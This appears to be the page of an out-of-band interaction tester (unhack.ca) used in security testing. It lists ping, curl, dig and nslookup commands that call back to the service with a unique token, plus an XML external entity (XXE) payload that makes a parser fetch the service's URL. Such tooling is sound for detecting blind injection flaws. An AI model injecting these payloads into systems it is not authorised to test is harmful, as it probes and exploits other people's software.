$ ping -c1 -p 00dfbf919f06bb6109696aa89d6c0200 unhack.ca
 
$ curl http://unhack.ca/p/dfbf919f06bb6109696aa89d6c02
 
$ dig dfbf919f06bb6109696aa89d6c02 @unhack.ca
 
$ dig dfbf919f06bb6109696aa89d6c02.ns.unhack.ca
 
C:\> nslookup dfbf919f06bb6109696aa89d6c02 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/dfbf919f06bb6109696aa89d6c02">]>
    <foo>&xxe;</foo>
Waiting for ping...